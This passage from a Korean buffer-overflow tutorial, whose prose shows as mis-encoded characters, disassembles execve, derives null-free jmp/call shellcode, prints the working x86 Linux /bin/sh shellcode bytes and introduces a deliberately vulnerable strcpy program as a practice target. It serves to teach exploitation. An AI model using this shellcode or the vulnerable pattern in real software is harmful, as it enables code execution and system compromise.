À§¿¡¼­ ¸í·É¾î°¡ Áö½ÃÇϴ°Ϳ¡ µû¶ó Àμö1À» °¡Áö°í Àμö2¿¡°Ô ÀÛ¾÷À» Çϵµ·Ï ½ÃÅ°°Ô µË´Ï´Ù. ¿ì¼± "main:"ÀÌ Àִ°÷ ºÎÅÍ °°ÀÌ Àоµµ·Ï ÇÏ°Ú½À´Ï´Ù. ¿ì¼± pushl %ebp¶ó´Â ¸í·ÉÀÌ º¸ÀÔ´Ï´Ù. ÀÌ ¸í·ÉÀº Áö±Ý±îÁö »ç¿ëÇÏ´ø ÇÁ·¡ÀÓÆ÷ÀÎÅ͸¦ ½ºÅÿ¡ ³Ö¾î¼­ ÀúÀåÇ϶ó´Â À̾߱â Àε¥, 2ÀåÀÇ ±×¸²3À» º¸½Ã¸é "ÂüÁ¶ÀÇ ±âÁØÀ§Ä¡"¶ó°í ÇÏ´Â °ÍÀÌ º¸ÀÏ°Ì´Ï´Ù. ÇÁ·¡ÀÓÆ÷ÀÎÅÍ´Â ½ºÅÃÀ» ÀÌ¿ëÇÏ¿© ÇÔ¼ö¿¡ ³Ñ°ÜÁø Àμö³ª ÇÔ¼ö ³»ºÎ¿¡¼­ »ç¿ëÇÏ´Â º¯¼öµéÀ» ÂüÁ¶ÇÏ´Â ±âÁØ À§Ä¡°¡ µË´Ï´Ù. µû¶ó¼­ ¾î¶² ÇÔ¼ö°¡ ºÒ·ÁÁ³À» ¶§¿¡ ÀÌÀü¿¡ »ç¿ëÇÏ´ø ÇÁ·¡ÀÓ Æ÷ÀÎÅ͸¦ ÀúÀåÇÏ°í ÇÔ¼ö°¡ Á¾·áµÇ¾úÀ» ¶§¿¡ ´Ù½Ã À̸¦ º¹±¸ ÇÏ¿©¾ß ¿øÇÏ´Â º¯¼ö³ª ÀμöµéÀ» Á¤È®ÇÏ°Ô ÀνÄÇÒ ¼ö ÀÖ½À´Ï´Ù. mainÇÔ¼ö ¿¡¼­µµ pushl %ebp¶ó´Â ¸í·ÉÀ» ÀÌ¿ëÇÏ¿© ÀÌÀü¿¡ »ç¿ëÇÏ´ø ÇÁ·¡ÀÓÆ÷ÀÎÅ͸¦ ÀúÀåÇÏ°í ÀÖ½À´Ï´Ù. ±×¸®°í ÀÌ°ÍÀ» ¾Õ¿¡¼­ À̾߱â ÇÑ°Í Ã³·³ saved frame pointer¶ó°í ÇÏ°í sfp¶ó°í ÁÙ¿©¼­ Ç¥Çö Çß¾ú½À´Ï´Ù.(±×¸²4¸¦ Âü°í) ´ÙÀ½¿¡´Â movl %esp, %ebp¸í·ÉÀÔ´Ï´Ù. ÀÌ ¸í·ÉÀº ÇöÀçÀÇ ½ºÅÃÆ÷ÀÎÅÍ(sp: stack pointer)¸¦ ÇÔ¼ö³»¿¡¼­ »ç¿ëÇÏ´Â ÇÁ·¡ÀÓÆ÷ÀÎÅÍ·Î »ç¿ëÇÑ´Ù´Â À̾߱â ÀÔ´Ï´Ù. ´ÙÀ½ ¸í·ÉÀº ½ºÅÃÆ÷ÀÎÅ͸¦ ÇÔ¼ö ³»ºÎ¿¡¼­ ÇÊ¿ä·Î ÇÏ´Â ¸¸Å­ °¨¼Ò ½ÃÄѼ­ ÇÔ¼ö³»ºÎ¿¡¼­ »ç¿ëÇÒ º¯¼ö¿µ¿ªÀ» È®º¸ÇÏ°í ÀÖ½À´Ï´Ù. ¿©±â±îÁöÀÇ °úÁ¤À» ÇÁ·Î½ÃÀúÀÇ µµÀÔºÎ(prolog)¶ó°í ÇÕ´Ï´Ù. Áï ÇÁ·Î½ÃÀúÀÇ ÇÁ·Ñ·Î±×´Â ÇÔ¼ö°¡ ºÒ·ÁÁú¶§¿¡ ¹«Á¶°Ç ½ÇÇàÇÏ´Â °ÍÀ¸·Î ´ÙÀ½°ú °°½À´Ï´Ù.
1. ÀÌÀüÀÇ ÇÁ·¡ÀÓÆ÷ÀÎÅ͸¦ ÀúÀåÇÑ´Ù.(pushl %ebp)
2. »õ·Î¿î ÇÁ·¡ÀÓÆ÷ÀÎÅ͸¦ ¸¸µç´Ù. (movl %esp, %ebp)
3. ÇÔ¼ö³»ºÎ º¯¼ö ¿µ¿ªÀ» À§ÇØ ½ºÅÃÆ÷ÀÎÅ͸¦ Á¶Á¤ÇÑ´Ù. (subl $24, %esp)
ÀÌÁ¦ ±×´ÙÀ½ ¸í·ÉÀ» »ìÆ캸°Ú½À´Ï´Ù. movl $.LC0,-8(%ebp)´Â "/bin/sh"ÀÇ ÁÖ¼Ò¸¦ name[0]¿¡ ÇÒ´çÇÏ´Â °ÍÀÔ´Ï´Ù. À§ÀÇ ¾î¼Àºí·¯ Äڵ忡¼­ $.LC0:¸¦ º¸½Ã¸é .string "/bin/sh"À̶ó°í ÇÏ´Â ºÎºÐÀÌ º¸ÀÏ°Ì´Ï´Ù. .LC0:´Â "/bin/sh"ÀÇ À§Ä¡¸¦ ³ªÅ¸³»´Â labelÀ̶ó°í ÇÕ´Ï´Ù. -8($ebp)ÀÇ Àǹ̴ ¿©·¯ºÐ²²¼­ Áö±Ý±îÁö ½ºÅÃÀÇ ±¸Á¶¸¦ ¿­½ÉÈ÷ »ìÆ캸¼ÌÀ¸¸é ÀÌÇØ ÇϽǰ̴ϴÙ. Áï ÇÁ·¡ÀÓÆ÷ÀÎÅÍ(%esp)·ÎºÎÅÍ -8ÀÇ À§Ä¡¿¡ ÀÖ´Â name[0]À» ÀǹÌÇÏ´Â °ÍÀÔ´Ï´Ù. ´«Ä¡°¡ ºü¸¥ ºÐÀº ´ÙÀ½ÁÙÀÇ movl $0, -4(%ebp)¸¦ ÁüÀÛÇÏ½Ç °Ì´Ï´Ù. movl $0, -4(%ebp)´Â name[1]¿¡ 0Áï NULLÀ» ÇÒ´çÇÏ´Â °ÍÀÔ´Ï´Ù. ÇÔ¼ö execve¿¡°Ô ½ÇÇàÇÏ°íÀÚ ÇÏ´Â ÇÁ·Î±×·¥(/bin/sh)¿¡°Ô ³Ñ°ÜÁÙ Àμö°¡ ´õÀÌ»ó ¾ø´Ù´Â °ÍÀ» ÀǹÌÇÕ´Ï´Ù. ´ÙÀ½¿¡ ³ª¿À´Â ¸í·É¾î´Â CÇÁ·Î±×·¥¿¡¼­ ÇÔ¼ö execve¸¦ ºÎ¸£´Â °úÁ¤ÀÔ´Ï´Ù. ´«¿©°Ü¼­ ºÁÁֱ⠹ٶø´Ï´Ù. pushl $0ÀÔ´Ï´Ù. ÀÌ°ÍÀº execveÇÔ¼ö¸¦ ºÎ¸¦¶§¿¡ Á¦ÀÏ µÚ¿¡ÀÖ´Â NULLÀ» ½ºÅÿ¡ ³Ö´Â°ÍÀÔ´Ï´Ù. Áï CÇÁ·Î±×·¥¿¡¼­ ¾î¶² ÇÔ¼ö¸¦ ºÎ¸¦¶§ Àμö°¡ µÚ¿¡¼­ ºÎÅÍ ²¨²Ù·Î ³Ö¾îÁö´Â °ÍÀ» ¾Ë¼ö ÀÖ½À´Ï´Ù. ´ÙÀ½ÀÇ ¸í·É¾î´Â leal -8(%ebp), %eaxÀÔ´Ï´Ù. lealÀº ´ÙÀ½¿¡ Àμö1ÀÇ ÁÖ¼Ò¸¦ ȹµæÇؼ­ Àμö2¿¡°Ô ³Ö¾îÁÖ°Ô µË´Ï´Ù. Áï À§ÀÇ ¸í·ÉÀº "/bin/sh"ÀÇ ÁÖ¼Ò¸¦ À̸鼭 char *name[2]ÀÇ ÁÖ¼ÒÀΰÍÀ» eax¿¡ ³Ö°Ô µË´Ï´Ù. ±×´ÙÀ½Àº ¿©·¯ºÐÀÌ ¾Ë°í °è½Å°Í ó·³ ½ºÅÿ¡ ±×ÁÖ¼Ò¸¦ ³Ö°Ô µÇ´Â pushl $eax¸í·ÉÀ» ¼öÇàÇß½À´Ï´Ù. ´ÙÀ½¿¡ ³ª¿À´Â µÎÁÙÀÇ ¸í·ÉÀº À§ÀÇ ¸í·É°ú ¶È°°Áö¸¸ »ç½Ç ±× Àǹ̴ »ó´çÈ÷ ´Ù¸¨´Ï´Ù. ¾Õ¿¡ ³ª¿Â µÎÁÙÀÇ Àǹ̴ CÇÁ·Î±×·¥ÀÇ execveÀÇ µÎ¹ø° ÀμöÀÎ nameÀ» ÀǹÌÇÏ°í Áö±Ý ³ª¿Â ÀμöÀÇ Àǹ̴ "/bin/sh"ÀÇ ÁÖ¼Ò¸¦ ÀǹÌÇÕ´Ï´Ù. ¿©±â¿¡¼­´Â ±× ÁÖ¼Ò°¡ ¶È°°±â ¶§¹®¿¡ ÀÌ·¸°Ô °°Àº¸í·É¾î°¡ µÎÁÙ¾¿ ¹Ýº¹µÇ¾î¼­ º¸ÀÌ´Â °ÍÀÔ´Ï´Ù. ´ÙÀ½¿¡ ³ªÅ¸³ª´Â ¸í·É¾î´Â call execveÀÔ´Ï´Ù. ¹Ù·Î execveÇÔ¼ö¸¦ ºÎ¸£´Â °ÍÀÔ´Ï´Ù. call¸í·ÉÀÌ »ç¿ëµÇ¸é call¸í·ÉÀÌ ÀÖ´Â ´ÙÀ½ À§Ä¡ÀÇ ÁÖ¼Ò(¿©±â¼­´Â 0x80481daÀÔ´Ï´Ù.)°¡ ½ºÅÿ¡ ÀÚµ¿ÀûÀ¸·Î ÀúÀåµË´Ï´Ù. ±×·¡¼­ execve¿¡¼­ µ¹¾Æ¿À°Ô µÇ¸é addl $16, %esp¸¦ ½ÇÇàÇÏ°Ô µÇ´Â °ÍÀÔ´Ï´Ù. ÀÌ ¸í·ÉÀº execve¸¦ ºÎ¸£±â À§Çؼ­ ½ºÅÿ¡ ¾î¶² °ªµéÀ» °è¼ÓÇؼ­ ³Ö±â¸¹ Çß½À´Ï´Ù. ¹«¾ù¹«¾ùÀ» ³Ö¾ú´ÂÁö ´Ù½Ã Çѹø »ìÆ캼±î¿ä? NULL, nameÀÇ ÁÖ¼Ò, "/bin/sh"ÀÇ ÁÖ¼Ò, callÀÌ ºÒ·ÁÁö¸é¼­ ´ÙÀ½ ½ÇÇàÇÏ°ÔµÉ À§Ä¡ÀÇ ÁÖ¼Ò ÀÌ·¸°Ô 4°¡ÁöÀÇ ÁÖ¼Ò¸¦ ½ºÅÿ¡ ³Ö¾ú½À´Ï´Ù. ¿©±â¿¡¼­ 1°³ÀÇ ÁÖ¼Ò´Â 4¹ÙÀÌÆ®ÀÇ Å©±â¸¦ Áö´Ï°Ô µË´Ï´Ù. µû¶ó¼­ call¸í·ÉÀ» ½ÇÇàÇÏ°í ³­µÚ¿¡´Â Áö±Ý±îÁö ½ºÅÿ¡ ³ÖÀº 16¹ÙÀÌÆ®(4 * 4)´Â Àǹ̰¡ ¾øÀ¸¹Ç·Î Áö¿ì´Â °úÁ¤À» ÇÏ°Ô µÇ´Â °ÍÀÔ´Ï´Ù. (addl¸í·É, Áï Àμö2¿¡°Ô Àμö1À» ´õÇÏ´Â °ÍÀε¥, ¿Ö ±×·±Áö´Â ±×¸²3À̳ª ±×¸²4µîÀ» ÀÚ¼¼È÷ º¸½Ã¸é ÀÌÇØ°¡ °¡½Ç°Ì´Ï´Ù.)

4.1.2 execveÇÔ¼öÀÇ µ¿ÀÛ°úÁ¤
ÀÌÁ¦ mainÇÔ¼öÀÇ ±¸Á¶´Â ÆľÇÀÌ µÇ¼ÌÀ» Å×°í execveÇÁ·Î½ÃÁ®ÀÇ ³»¿ëÀ» È®ÀÎÇØ ºÁ¾ß°ÚÁÒ?....(¸Ó¸® ¾ÆÆĵµ Á¶±Ý¸¸ Âü¾Æ¿ä..^^) ¾Æ±î ó·³ gdb¸¦ ÀÌ¿ëÇؼ­ execve°¡ Àִ°÷À» ¿ª¾î¼Àºí Çؼ­ º¸µµ·Ï ÇÏ°Ú½À´Ï´Ù.

------------------------------------------------------------------------
ÁÙ¹øÈ£   ÁÖ¼Ò               ¸í·É¾î
------------------------------------------------------------------------
1  0x804c90c :     push   %ebp
2  0x804c90d :   mov    %esp,%ebp
3  0x804c90f :   sub    $0x10,%esp
4  0x804c912 :   push   %edi
5  0x804c913 :   push   %ebx
6  0x804c914 :   mov    0x8(%ebp),%edi
7  0x804c917 :  mov    $0x0,%eax
8  0x804c91c :  test   %eax,%eax
9  0x804c91e :  je     0x804c925
10  0x804c920 :  call   0x0
11  0x804c925 :  mov    0xc(%ebp),%ecx
12  0x804c928 :  mov    0x10(%ebp),%edx
13  0x804c92b :  push   %ebx
14  0x804c92c :  mov    %edi,%ebx
15  0x804c92e :  mov    $0xb,%eax
16  0x804c933 :  int    $0x80
17  0x804c935 :  pop    %ebx
18  0x804c936 :  mov    %eax,%ebx
19  0x804c938 :  cmp    $0xfffff000,%ebx
20  0x804c93e :  jbe    0x804c94e
21  0x804c940 :  call   0x8048304 <__errno_location>
22  0x804c945 :  neg    %ebx
23  0x804c947 :  mov    %ebx,(%eax)
24  0x804c949 :  mov    $0xffffffff,%ebx
25  0x804c94e :  mov    %ebx,%eax
26  0x804c950 :  pop    %ebx
27  0x804c951 :  pop    %edi
28  0x804c952 :  leave  
29  0x804c953 :  ret    
------------------------------------------------------------------------

          <±×¸²11> execveÇÔ¼öÀÇ ¾î¼Àºí¸®¾î ÄÚµå

À§ÀÇ Äڵ带 ¸ÞÀÎÇÔ¼ö ó·³ ¼³¸íÇϱâ´Â Èûµé°í execve¸¦ ½ÇÇàÇÏ´Â °úÁ¤À» ¿ä¾àÇÏ¸é ´ÙÀ½°ú °°½À´Ï´Ù. ¸®´ª½º¿¡¼­´Â(´Ù¸¥ ½Ã½ºÅÛµµ ¸¶Âù°¡ÁöÁö¸¸) ½Ã½ºÅÛÀÌ Á¦°øÇÏ´Â ¾î¶²±â´ÉÀ» (¿©±â¿¡¼­´Â execveó·³ ƯÁ¤ÇÁ·Î±×·¥ È­ÀÏÀ» ½ÇÇàÇϴ°ÍÀ») ¼öÇàÇϱâ À§Çؼ­´Â ¼ÒÇÁÆ®¿þ¾î ÀÎÅÍ·´Æ®¶ó°í ÇÏ´Â °ÍÀ» »ç¿ëÇÕ´Ï´Ù. ¸®´ª½º¿¡¼­´Â ÀÎÅÍ·´Æ® 0x80À» »ç¿ëÇÏ°í ÀÖ°í eax¿¡ ÀÎÅÍ·´Æ®¹øÈ£ Áï ¾î¶² ±â´ÉÀ» ¿øÇÏ´ÂÁö¸¦ ³Ö¾î¼­ ½ÇÇàÇÏ°Ô µË´Ï´Ù. execve´Â 0x0b(½ÊÁø¼ö·Î 11)À» »ç¿ëÇÕ´Ï´Ù. ¶ÇÇÑ ebx¿¡´Â ½ÇÇà½ÃÅ°°íÀÚ ÇÏ´Â ÇÁ·Î±×·¥ÀÇ ÁÖ¼Ò(¿©±â¿¡¼­´Â 6¹øÁÙ°ú 14¹øÁÙ¿¡ ÀÇÇؼ­ "/bin/sh"ÀÇ ÁÖ¼Ò¸¦ ¸»ÇÕ´Ï´Ù.)¸¦ ³Ö°Ô µË´Ï´Ù. ecx¿¡´Â name[]ÀÇ ÁÖ¼Ò(¿©±â¿¡¼­´Â 11¹ø ÁÙÀÔ´Ï´Ù.)¸¦ ³Ö°Ô µË´Ï´Ù. ±×¸®°í ¸¶Áö¸· ÀμöÀÎ NULLÀÇ ÁÖ¼Ò´Â edx¿¡ ³Ö°Ô µË´Ï´Ù.(12¹øÁÙÀÔ´Ï´Ù.)
execve°¡ ½ÇÇàÇÏ´Â °úÁ¤À» ÀϹÝÈ­ Çؼ­ Á¤¸®ÇÏ¸é ´ÙÀ½°ú °°½À´Ï´Ù.

1. NULL·Î Á¾·áµÇ´Â "/bin/sh"À» ¸Þ¸ð¸®ÀÇ ¾îµò°¡¿¡ ³õ´Â´Ù.
2. "/bin/sh"°ú ÀÌ¿¡ ¹Ù·Î µÚµû¸£´Â ¿öµå±æÀÌ(ÀϹÝÀûÀ¸·Î 4¹ÙÀÌÆ®)¸¸Å­ÀÇ NULLÀ» ¸Þ¸ð¸®¿¡ À§Ä¡½ÃŲ´Ù.
3. 0x0b¸¦ eax¿¡ ³Ö´Â´Ù.
4. 1¹øÀÇ ¹®ÀÚ¿­ "/bin/sh"ÀÇ À§Ä¡¸¦ ebx¿¡ ³Ö´Â´Ù.
5. 2¹øÀÇ "/bin/sh" + NULLÀÇ À§Ä¡¸¦ ecx¿¡ ³Ö´Â´Ù.
6. 2¹øÀÇ NULLÀÇ À§Ä¡¸¦ edx¿¡ ³Ö´Â´Ù.
7. int 0x80À» ½ÇÇàÇÑ´Ù.

À§ÀÇ ³»¿ëÀ» ¾î¼Àºí¸®¾î·Î ¸¸µé¾î¼­ ¿À¹öÇÃ·Î¿ì µÇ´Â ¹öÆÛ¿¡ ³Ö°í ½ÇÇà½ÃÅ°¸é ½©ÀÌ ½ÇÇàµÇ°Ô µË´Ï´Ù. ±×·±µ¥ ¹®Á¦´Â ¾î¶² ÀÌÀ¯¿¡ ÀÇÇؼ­ execve¸í·ÉÀÌ ½ÇÆÐÇÏ°Ô µÇ¸é ÀϹÝÀûÀ¸·Î ÄÚ¾î´ýÇÁ¸¦ ¶³¾îÆ®¸®¸é¼­ Á×°Ô µË´Ï´Ù. µû¶ó¼­ À§ÀÇ ¸í·ÉÀÌ ½ÇÆÐÇÏ´õ¶óµµ Á¤»óÀûÀ¸·Î Á¾·á Çϱâ À§Çؼ­ CÇÁ·Î±×·¥ÀÇ exit(0)ÇÔ¼ö¸¦ ½ÇÇàÇÏ°Ô µË´Ï´Ù. exitÇÔ¼ö´Â ¼ÒÇÁÆ®¿þ¾î ÀÎÅÍ·´Æ® 0x01À» »ç¿ëÇÏ°í ÀÖÀ¸¸ç, ebx¿¡ ÇÁ·Î±×·¥ÀÇ Á¾·áÄڵ带 ³ÖÀ¸¸é µË´Ï´Ù. Áö±Ý±îÁöÀÇ ³»¿ëÀ» °¡Áö°í °¡»óÀÇ ¾î¼Àºí¸®¾î Äڵ带 »ý°¢ÇØ º¸¸é ´ÙÀ½°ú °°ÀÌ µÉ ¼ö ÀÖ½À´Ï´Ù.
    movl string_addr, string_addr_addr
    movb $0x0, null_byte_addr
    movl $0x0, null_addr
    movl $0x0b, %eax
    movl string_addr, %ebx
    leal string_addr, %ecx
    leal null_string, %edx
    int  $0x80
    movl $0x1, %eax
    movl $0x0, %ebx
    int  $0x80
    /bin/sh string

4.1.3 ½©ÄÚµåÀÇ ÀÛ¼º
¾Õ¿¡³ª¿Â ¾î¼Àºí¸®¾î ÄÚµåÀÇ ¹®Á¦´Â string_addrÀ̳ª string_addr_addr°ú °°ÀÌ "/bin/sh"°°Àº ¹®ÀÚ¿­À̳ª NULL¹®ÀÚ¿­ÀÇ À§Ä¡°¡ ¾îµðÀÎÁö ¾Ë¼ö°¡ ¾ø´Ù´Â °ÍÀÔ´Ï´Ù. µû¶ó¼­ À§ÀÇ ÄÚµå´Â "/bin/sh"ÀÇ À§Ä¡¸¦ ¾Ë¼ö ÀÖµµ·Ï ¾à°£ º¯ÇüÀÌ µÇ¾î¾ß ÇÕ´Ï´Ù. À̸¦ À§ÇØ »ç¿ëÇϴ°ÍÀÌ jmp¸í·É°ú call¸í·ÉÀÔ´Ï´Ù. jmp¸í·ÉÀº ¸Þ¸ð¸®»óÀÇ Æ¯Á¤À§Ä¡·Î ½ÇÇà¼ø¼­¸¦ À̵¿ÇÏ´Â °ÍÀÌ°í call¸í·ÉÀº ¸»¾¸µå¸®Áö ¾Ê¾Æµµ ¾Ë°í °è½Ç°Ì´Ï´Ù. µÎ ¸í·ÉÀÇ Æ¯Â¡Àº ½ÇÁ¦ À̵¿ÇÒ ÁÖ¼Ò¿¡ ´ëÇؼ­ ÇöÀç À§Ä¡¸¦ ±âÁØÀ¸·Î »ó´ëÀ§Ä¡¸¦ ¾µ¼ö ÀÖ½À´Ï´Ù. ´Ù½Ã ¸»Çؼ­ "jmp°¡ ÀÖ´Â °÷¿¡¼­ ºÎÅÍ 10BYTEµÚÀÇ À§Ä¡ºÎÅÍ ½ÇÇàÇ϶ó"µçÁö "callÀÌ ÀÖ´Â À§Ä¡¿¡¼­ ºÎÅÍ 20BYTEÀÌÀüÀ¸·Î ½ÇÇà°úÁ¤À» ¿Å°Ü¶ó"¶ó´Â ÇüÅÂÀÇ ¸í·É¾î¸¦ »ç¿ëÇÒ ¼ö°¡ Àִ°ÍÀÔ´Ï´Ù. call¸í·ÉÀº ¾Õ¿¡¼­ ¸»¾¸µå¸°°Í ó·³ call¸í·É ´ÙÀ½ÀÇ ÁÖ¼Ò¸¦ ½ºÅÿ¡ ³Ö°Ô µË´Ï´Ù. µû¶ó¼­ ´ÙÀ½ÀÇ ±×¸²Ã³·³ "/bin/sh" ¹®ÀÚ¿­ÀÌ Àִ°÷ ¹Ù·Î ¾Õ¿¡ call¸í·ÉÀ» ³Ö°í ½©ÄÚµåÀÇ Á¦ÀÏ ¾Õ¿¡¼­ call¸í·ÉÀÌ Àִ°÷À¸·Î jmpÇÑ´ÙÀ½ call¸í·É¿¡ ÀÇÇؼ­ "/bin/sh"ÀÇ À§Ä¡¸¦ ½ºÅÿ¡ pushÇÏ°í³ª¼­ popl¸í·ÉÀÌ Àִ°÷À¸·Î À̵¿ÇÏ°Ô µÇ¸é "/bin/sh" ¹®ÀÚ¿­ÀÌ Àִ°÷ÀÇ ÁÖ¼Ò¸¦ ȹµæÇÒ ¼ö ÀÖ°Ô µË´Ï´Ù.
   +---[jmp to call]
   |   [popl ] <----------+
   |   [¸í·É2]            |
(1)|   [¸í·É3]            |(2)
   |      :               |
   |      :               |
   +-->[call] ------------+
       [/bin/sh]

À§ÀÇ ±×¸²À» ±âÃÊ·Î ÇÏ¿© ½ÇÇà°¡´ÉÇÑ ¾î¼Àºí¸®¾î Äڵ带 ÀÛ¼ºÇÏ¸é ´ÙÀ½ÀÇ <±×¸²12>ÀÇ Äڵ尡 ³ª¿À´Âµ¥, ÀÌÄÚµåÀÇ ¹®Á¦Á¡Àº ÄÚµå Áß°£¿¡ 0x00ÀÌ Æ÷ÇԵǾî ÀÖ´Ù´Â °ÍÀÔ´Ï´Ù. ÀÌ´Â getsµîÀÇ ÇÔ¼ö¿¡¼­ NULL ·Î ÀνÄÀÌ µÇ°í ±× ´ÙÀ½¿¡ ÀÖ´Â ³ª¸ÓÁö ÄÚµåµéÀ» ÀÔ·Â ¹ÞÁö ¾Ê°Ô µË´Ï´Ù. µû¶ó¼­ 0x00ÀÌ ¾ø´Â ÇüÅÂÀÇ ÄÚµå·Î ´Ù½Ã ¼öÁ¤µÇ¾î¾ß ÇÕ´Ï´Ù. ÀÌ°ÍÀÌ <±×¸²13>ÀÇ ÀϹÝÀûÀÎ ½©ÄÚµåÀÔ´Ï´Ù.
  jmp   0x26
  popl  %esi
  movl  %esi, 0x8(%esi)
  movb  $0x0, 0x7(%esi)
  movl  $0x0, 0xc(%esi)
  movl  $0xb, %eax
  movl  %esi, $ebx
  leal  0x8(%esi), %ecx
  leal  0xc(%esi), %edx
  int   $0x80
  movl  $0x1, %eax
  movl  $0x0, %ebx
  int   $0x80
  call  -0x2b
  .string \"/bin/sh\"

  <±×¸²12> ¼öÁ¤ÀüÀÇ ½©ÄÚµå

  jmp   0x1f                  <----    º¯°æµÈ ÁÙ¿¡ÀÇÇÑ Å©±â º¯È­
  popl  %esi
  movl  %esi, 0x8(%esi)
  xorl  %eax, %eax            <---+     µÎÁÙÀÌ º¯°æµÊ
  movb  %eax, 0x7(%esi)           |     movb  $0x0, 0x7(%esi)
  movl  %eax, 0xc(%esi)       <---+     movl  $0x0, 0xc(%esi)
  movl  $0xb, %eax
  movl  %esi, $ebx
  leal  0x8(%esi), %ecx
  leal  0xc(%esi), %edx
  int   $0x80
  movl  $0x1, %eax
  xorl  %ebx, %ebx            <---+    ÇÑÁÙÀÌ º¯°æµÇ
  movl  %ebx, %eax            <---+    movl  $0x0, %ebx
  int   $0x80
  call  -0x24                 <----    º¯°æµÈ ÁÙ¿¡ÀÇÇÑ Å©±â º¯È­
  .string \"/bin/sh\"

  <±×¸²13> NULLÀÌ ¾øÀÌ ¼öÁ¤µÈ ½©ÄÚµå

À§ ±×¸²13ÀÇ Äڵ带 ÄÄÆÄÀÏÇÏ°í gdbµîÀ» ÀÌ¿ëÇÏ¿© ±â°è¾î Äڵ带 ȹµæÇÑ ´ÙÀ½ ÇÁ·Î±×·¥¿¡ ³Ö¾î¼­ »ç¿ëÇÏ´Â °ÍÀÌ expolitµé¿¡ µé¾î ÀÖ´Â ½©ÄÚµåÀÔ´Ï´Ù.
char shellcode[] =
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

   <±×¸²14> expolitµéÀÌ »ç¿ëÇÏ´Â ÀϹÝÀûÀÎ ½©ÄÚµå

À̹øÀåÀº À§ÀÇ ±×¸²14¸¦ À§Çؼ­ »ó´çÀÌ ¸¹Àº ³»¿ëÀ» Àû¾ú½À´Ï´Ù. À§¿¡ ÀûÀº ³»¿ëÀº ÀϹÝÀûÀÎ Intel Linux¿¡¼­ ½©Äڵ带 ÀÛ¼ºÇÏ´Â ¹æ¹ýÀε¥, Solaris°°Àº ½Ã½ºÅÛ¿¡¼­µµ °°Àº ¹æ¹ýÀ» ÀÀ¿ëÇÏ¿© ½©Äڵ带 »ý¼ºÇÏ°Ô µË´Ï´Ù. ÀÌµé ½©ÄÚµå´Â Çѹø ÀÛ¼ºÀÌ µÇ¸é Àç»ç¿ëÀÌ °¡´ÉÇÑ °ÍµéÀ̱⠶§¹®¿¡, expolitÄÚµåµéÀ» º¸°Ô µÇ¸é °ÅÀÇ µ¿ÀÏÇÑ ½©Äڵ带 »ç¿ëÇÔÀ» ¾Ë ¼ö ÀÖ½À´Ï´Ù. À̱ÛÀ» ÀÐ°í °è½Ã´Â ¿©·¯ºÐµé ²²¼­´Â ¿©·¯ºÐ¸¸ÀÇ ½©Äڵ峪 ´Ù¸¥ ÇÁ·Î±×·¥À» ½ÇÇàÇÏ´Â ÄÚµå Á¤µµ´Â ¸¸µé¼ö ÀÖµµ·Ï °øºÎÇϼž߸¸ ½ºÅ©¸³Æ®Å°µðÀÇ ºÒ¸í¿¹¸¦ ¹þÀ»¼ö ÀÖ½À´Ï´Ù.(´Ù¸¥ ÇüÅÂÀÇ ½©Äڵ忡 ´ëÇؼ­´Â ´Ù¸¥ ¹®¼­¸¦ ÅëÇؼ­ Çѹø Á¤¸®Çغ¸µµ·Ï ÇÏ°Ú½À´Ï´Ù.)

4.2 ¹öÆÛ¿À¹öÇ÷ο츦 ½ÃÄѺ¸ÀÚ
Áö±Ý±îÁö ¾Ë¾Æº» ½ºÅÃÀÇ ±¸Á¶¿Í ½©ÄÚµåµîÀ» ÀÌ¿ëÇؼ­ ¹öÆÛ¿À¹öÇ÷ο츦 ½ÃÄѺ¸µµ·Ï ÇÏ°Ú½À´Ï´Ù. ¹öÆÛ¿À¹öÇ÷ο츦 ÀÏÀ¸Å°´Â ÇÁ·Î±×·¥Àº ÆíÀÇ»ó ¾ÆÁÖ °£´ÜÇÑ °ø°Ý´ë»ó ÇÁ·Î±×·¥À» ¸¸µé°í ÀÌ°ÍÀ» °ø°ÝÇÏ°Ú½À´Ï´Ù. ¿©·¯ºÐµéµµ ½Ç½ÀÀ» ÇÒ ¼ö ÀÖ´Â ½Ã½ºÅÛ¿¡ µ¿ÀÏÇÑ È¯°æÀ» ±¸ÃàÇØ°¡¸é¼­ °°ÀÌ ÁøÇàÇغ¸½Ã´Â °ÍÀÌ µµ¿òÀÌ µÉ°Í ÀÔ´Ï´Ù.
       #include <stdio.h$gt;
       func(char *str)
       {
               char        buf[256];
               
               strcpy(buf, str);
               printf("%s\n", buf);
       }

       int main(int argc, char **argv)
       {
               func(argv[1]);
       }

       <¿¹Á¦3> ¹öÆÛ¿À¹öÇ÷οì·Î °ø°Ý°¡´ÉÇÑ ¿¹Á¦ÇÁ·Î±×·¥

À§ÀÇ ÇÁ·Î±×·¥Àº ÀԷµǴ ¹®ÀÚ¿­ÀÇ Å©±â¸¦ °Ë»çÇÏÁö ¾Ê´Â strcpy¸¦ »ç¿ëÇÔÀ¸·Î½á °ø°Ý´ë»óÀÌ µÇ´Â ÇÁ·Î±×·¥ ÀÔ´Ï´Ù. ÇÔ¼öfunc°¡ ºÒ·ÁÁ³À»¶§ ½ºÅÃÀÇ ±¸Á¶¸¦ ´Ù½ÃÇѹø »ìÆ캸¸é ´ÙÀ½°ú °°Àº ±¸Á¶·Î µÇ¾î ÀÖÀ» °ÍÀÔ´Ï´Ù.
 ½ºÅÃÀÇ ²À´ë±â   [1234]   ÇÔ¼ö func¿¡¼­ »ç¿ëÇÏ´Â
                 [5678]   buf¸¦ À§Çؼ­ Áý¾î³ÖÀº ½ºÅÃ
                 [....]
                 [.256]
                 [sfp ]   ÇÁ·¡ÀÓÆ÷ÀÎÅÍ(saved frame pointer)
                 [ret ]   mainÇÔ¼öÀÇ ´ÙÀ½ ½ÇÇàÀ§Ä¡
 ½ºÅÃÀÇ ¹Ù´Ú     [argv]   ÇÁ·Î±×·¥ ½ÇÇà½Ã¿¡ ³Ö¾îÁØ Àμö

            <±×¸²15> ÇÔ¼öfunc¿¡¼­ ½ºÅÿ¡ µé¾îÀÖ´Â ³»¿ë

¿¹Á¦3ÀÇ ÇÁ·Î±×·¥À» exam3.c¶ó°í ÇÏ°í ÄÄÆÄÀÏ ÇÏ°í ½ÇÇàÇÏ¸é ´ÙÀ½°ú °°Àº °á°ú¸¦ ¾òÀ» ¼ö ÀÖ½À´Ï´Ù.
river@river:/example$ cc exam3.c -o exam3
river@river:/example$
river@river:/example$./exam3 1234567890
1234567890
